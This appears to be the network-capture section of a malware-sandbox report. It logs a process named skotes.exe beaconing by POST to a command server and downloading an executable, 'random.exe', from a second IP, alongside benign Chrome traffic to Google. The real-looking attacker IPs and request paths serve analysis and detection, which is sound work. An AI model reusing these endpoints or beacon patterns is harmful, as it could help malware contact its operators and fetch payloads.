Nov 25, 2024 03:41:11.070722103 CET	672	IN	Data Raw: 09 2a ef 2c 15 e0 a8 36 0c 12 ad 6b e6 e3 01 79 4d 17 2c 39 1f 5a 12 91 f0 5f d9 fa d4 5c 69 10 2c fd 25 5b 0f 0d 16 bd 30 b1 a3 c3 1a 51 7b af c1 20 5f 78 2b 1c c0 dc e5 32 f5 c4 7f 3b 5a 6f 6d ba 29 85 77 12 5b f7 c8 1c 7f 10 3c 1d 06 54 f2 26 Data Ascii: ,6kyM,9Z_\i,%[0Q{ _x+2;Zom)w[<T&NPR.rz`+i$5XHl(Uh+?{>_rE^Xj[`Z\|._Y:.#$C:l*u"y7_a`IvO&3&,zM}0/Ec
Nov 25, 2024 03:41:11.070952892 CET	1236	IN	Data Raw: 00 26 10 8b 45 09 c9 d8 17 18 34 9d 35 04 f5 77 2b d6 61 4e 49 05 29 49 0d f0 89 9b cd 2e ec 27 c5 c4 56 ef 6f 07 cf 6a b2 fd 08 a7 07 a9 7c 35 84 a3 45 9a 30 c9 6e eb 62 01 97 a8 48 fd ed da b0 c3 e6 d7 a7 34 2e 27 74 87 ac 28 74 87 7e 3f bd c4 Data Ascii: &E45w+aNI)I.'Voj\|5E0nbH4.'t(t~?}&x&xI0?sRgE3OeKi%Jzi]z)xEiv.TQ=EZ91?]h}&W{a.[J_,:a
Nov 25, 2024 03:41:11.071031094 CET	1236	IN	Data Raw: 54 89 eb 3d 8d 12 74 3d 89 c8 81 e3 1f bd ce d5 2a cb 09 8c bf fa bd 1c ae 13 6f 57 2b 8f d0 65 f9 f8 e0 73 09 12 07 3d c7 89 53 eb b5 8b 4e e5 74 b6 3e 11 43 18 b5 e7 79 16 07 af 75 e4 25 97 80 44 7a 8f 1d a9 01 e6 d7 8e 7f 85 3e af 69 a0 fc 61 Data Ascii: T=t=*oW+es=SNt>Cyu%Dz>ia\|5u'I58G2d^=X-gLM3VG,}yJ&s'fGo\|t9Gj0O,#EeWJcu{6WbK\gcvd?fR\|4~"lo
Nov 25, 2024 03:41:11.071042061 CET	1236	IN	Data Raw: fe 5a 94 ed 7d da 73 fe 24 22 ac cf 29 19 0b 6c 8a 45 72 7e 71 6e ed 87 1d 8e 87 80 a5 29 54 c9 f5 36 c7 26 60 cb 45 ed 2d 69 a4 6c 3e 27 7e fb 3e 1c af 0b 8e 2c 79 ce 5a 1d 20 21 c0 c0 69 4a d5 08 7a f9 7f 85 ba 9d 7d d0 1a 82 b8 8f 21 2a c7 5a Data Ascii: Z}s$")lEr~qn)T6&`E-il>'~>,yZ !iJz}!*ZED'Wa,/u~#f@3!R%R?V{EY}aknmC8&[ss-]j+f we2\|>G{q#J5VuQQL9-X
Nov 25, 2024 03:41:11.190289974 CET	1236	IN	Data Raw: e9 0b 27 2a 0f bd 66 7f e6 43 ca cf fd 74 74 62 1e ca 16 ee dc 08 5d 43 14 d8 09 dd 5a 6c 36 ec 8d d9 3f 3a b5 aa 46 88 d9 f2 81 2a 3c ec a7 d0 35 6c 43 c6 36 53 fc f8 14 55 4c 0d 3e 8a ff 62 d3 ef 30 d7 4a 16 b6 62 1d 83 63 66 3d 06 67 47 87 f2 Data Ascii: 'fCttb]CZl6?:F<5lC6SUL>b0Jbcf=gG_.OW`f0K6s}u,4c;,ykkrzmKMmG1GtYb=&EN4(?B"LcE}fNje7X+>2FHAdU^vnm~LB.i6ony%bu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49960	185.215.113.43	80	8616	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:41:16.639214993 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 39 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008911001&unit=246122658369
Nov 25, 2024 03:41:18.023603916 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 02:41:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49963	31.41.244.11	80	8616	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:41:18.145612001 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 25, 2024 03:41:19.574675083 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 02:41:19 GMT Content-Type: application/octet-stream Content-Length: 4401664 Last-Modified: Mon, 25 Nov 2024 02:31:55 GMT Connection: keep-alive ETag: "6743e19b-432a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 a0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c4 00 00 04 00 00 de fa 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 84 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 84 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@C@ _qsP px'@.rsrc p'@.idata q'@ 8q'@ugpfseiqv'@jhuzbkezC@.taggant0"C@
Nov 25, 2024 03:41:19.574697971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:41:19.574707985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:41:19.574820042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:41:19.574834108 CET	896	IN	Data Raw: c0 45 56 30 06 b4 5d 35 9b 6a 9e ff de 59 4b d7 d2 73 4b fc f2 b2 5e b2 0f 0f de b4 76 3c 26 93 e6 2d 04 ac b4 fd 2e 90 a1 71 08 a8 d7 45 50 39 e9 3c 6d e8 06 b2 ba 36 7d 51 1f f8 87 51 47 57 14 4b 96 bb 1b db 6c 71 64 15 4d f9 7e b3 aa a1 82 52 Data Ascii: EV0]5jYKsK^v<&-.qEP9<m6}QQGWKlqdM~R`L$2^X~w1hj68xN\|/#tN66r_fxVx_qx'.=L8ej*lS(T/0OeI(
Nov 25, 2024 03:41:19.574903965 CET	1236	IN	Data Raw: c6 14 f6 ba 3d 03 34 37 13 3c 1f bd 56 04 1b 50 ba 85 ce b9 52 d8 cc 14 43 01 e2 8b 42 d4 3e 3b 85 81 f1 d2 7d d6 60 26 86 d1 8a 79 1f ca f0 96 a8 5a ec 6f 5d 35 a4 69 d7 a2 de 57 03 51 80 9d 1b 7b 51 85 20 c4 c6 81 a1 da 0e 41 e7 24 6c 64 9b e5 Data Ascii: =47<VPRCB>;}`&yZo]5iWQ{Q A$ld30X~hUSE^5A_3[ LJy>K3s1fnMO2-X?iw,cXskJ~RBt7 2yPl%
Nov 25, 2024 03:41:19.574992895 CET	1236	IN	Data Raw: a4 51 da b2 70 76 6e b2 b6 e5 57 24 83 60 27 10 c8 f5 23 b9 3d 11 a0 c5 c4 48 e3 86 be ea 2a 10 83 0c f5 72 bc 3a a1 00 90 cd 33 37 97 e1 2d bf d1 e3 ea 00 f0 52 03 cb 9b e1 e2 93 79 f2 0a 2b ae bd a9 12 7d 2a e7 f3 82 91 0b cf d9 0c 9e d5 d0 df Data Ascii: QpvnW$`'#=Hr:37-Ry+};47zcZ=lJ;n#Z+G!k8}cLC0}<}X;e_g%RJ'w79eH$w5+@f;6D
Nov 25, 2024 03:41:19.575005054 CET	448	IN	Data Raw: 9f 95 8b 6a 8a 08 6b 98 d6 c2 86 a5 83 c6 e8 b2 d2 0f f5 57 e3 db f4 c9 ba 16 e7 b0 20 d1 92 9a d3 aa 03 09 dd 28 bc f0 b8 43 af 75 75 1c f4 86 fd 2f f3 ce fe 12 b2 84 96 35 4c 6d f3 a1 e7 f6 f7 f5 f9 71 05 6f 8c da 03 a9 0b 4b 4a 9b b8 59 60 2b Data Ascii: jkW (Cuu/5LmqoKJY`+ycrsR7HjSUqgqR<)4bx}q@\NDB\|0srYMQI91RrAq\|.cpNcxK$='6770cUE2%
Nov 25, 2024 03:41:19.575134993 CET	1236	IN	Data Raw: d5 5a 0b 82 e3 73 0a c1 20 fd 9d fc 4a bb 6a e5 60 15 05 6a 83 27 da 78 8e d1 32 40 a7 46 96 04 45 f4 75 b0 bf d8 5a c9 ba f1 5d eb 0b b3 6f 87 01 8e b0 76 07 79 33 c0 d0 bd 1a f6 8c fd 23 a4 9a d6 17 8b 8f 44 10 47 b9 e2 95 50 83 08 45 d9 25 a5 Data Ascii: Zs Jj`j'x2@FEuZ]ovy3#DGPE%<Kv,\|KrdO?W@s\9lqG-ZUx4"Yrj;8>p<aaT.sfr[By [ ;yiAnog d
Nov 25, 2024 03:41:19.575146914 CET	1236	IN	Data Raw: 0c fd 70 86 20 77 ff 8f a7 e3 cb f1 b4 39 0e 1e 75 20 17 e8 8f da ef b7 52 c5 f2 b9 e4 07 6f 75 bc 7b fe 8a fb d0 42 24 65 8d 9f 77 03 6a 98 7d 3e d9 5b a7 90 dc 1e ab 9a 32 ef 80 7e b5 f2 b6 96 ea 9f 5d 84 b6 fb 7e d7 3b 21 82 ba dd fb 84 8e 32 Data Ascii: p w9u Rou{B$ewj}>[2~]~;!2JQFj984yHt'G}JS+^Wp\uc$zMbdExeX#bXsM&I^UbA
Nov 25, 2024 03:41:19.694356918 CET	1236	IN	Data Raw: 8f 6a e5 1a c6 70 06 17 85 39 f7 7c cb d1 f7 ae 30 ad 59 71 03 b5 0a a2 d8 fc 9d dc aa dc ab 77 ef b9 09 7d 83 22 bf cc 86 b0 31 0f 97 3f a1 48 fc 92 1f df 6a 9d 9c 3d 88 b0 86 58 ff 83 0b af fd aa e0 7d 01 0c 5d 3f e3 d5 67 ff 0c 6e 79 ad b6 d8 Data Ascii: jp9\|0Yqw}"1?Hj=X}]?gny+A_#C2xu,;ANW^94om~bh7C7C6\|r\j>*SvD}~i3TGiLYPdnU:t9)S\|"a%V=.rg,DD^/o0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	172.217.21.36	443	632	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:30 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 02:39:31 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:30 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-fgC7Q-5BkJc0pN5NPL_BnQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 02:39:31 UTC	124	IN	Data Raw: 33 32 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 70 69 72 69 74 20 61 69 72 6c 69 6e 65 73 22 2c 22 63 72 69 63 6b 65 74 20 74 65 73 74 20 6d 61 74 63 68 20 69 6e 64 69 61 20 76 73 20 61 75 73 74 72 61 6c 69 61 22 2c 22 6d 61 20 6d 65 69 6c 6c 65 75 72 65 20 65 6e 6e 65 6d 69 65 20 6c 79 72 69 63 73 20 74 72 61 6e 73 6c 61 74 69 6f 6e 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 Data Ascii: 32c)]}'["",["spirit airlines","cricket test match india vs australia","ma meilleure ennemie lyrics translation","monopoly
2024-11-25 02:39:31 UTC	695	IN	Data Raw: 20 67 6f 20 66 6f 72 74 75 6e 65 20 66 65 61 73 74 20 72 65 77 61 72 64 73 22 2c 22 73 70 61 63 65 78 20 73 74 61 72 6c 69 6e 6b 20 66 61 6c 63 6f 6e 20 39 20 6c 61 75 6e 63 68 22 2c 22 62 6c 75 65 20 6c 61 67 6f 6f 6e 20 69 63 65 6c 61 6e 64 20 76 6f 6c 63 61 6e 6f 20 65 72 75 70 74 69 6f 6e 22 2c 22 75 66 63 20 33 31 31 20 6d 61 69 6e 20 65 76 65 6e 74 22 2c 22 74 68 65 20 65 6d 70 72 65 73 73 20 73 65 61 73 6f 6e 20 33 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 Data Ascii: go fortune feast rewards","spacex starlink falcon 9 launch","blue lagoon iceland volcano eruption","ufc 311 main event","the empress season 3"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRV
2024-11-25 02:39:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	172.217.21.36	443	632	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:30 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 02:39:31 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 02:39:31 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 02:39:31 UTC	372	IN	Data Raw: 33 36 34 35 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3645)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700313,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 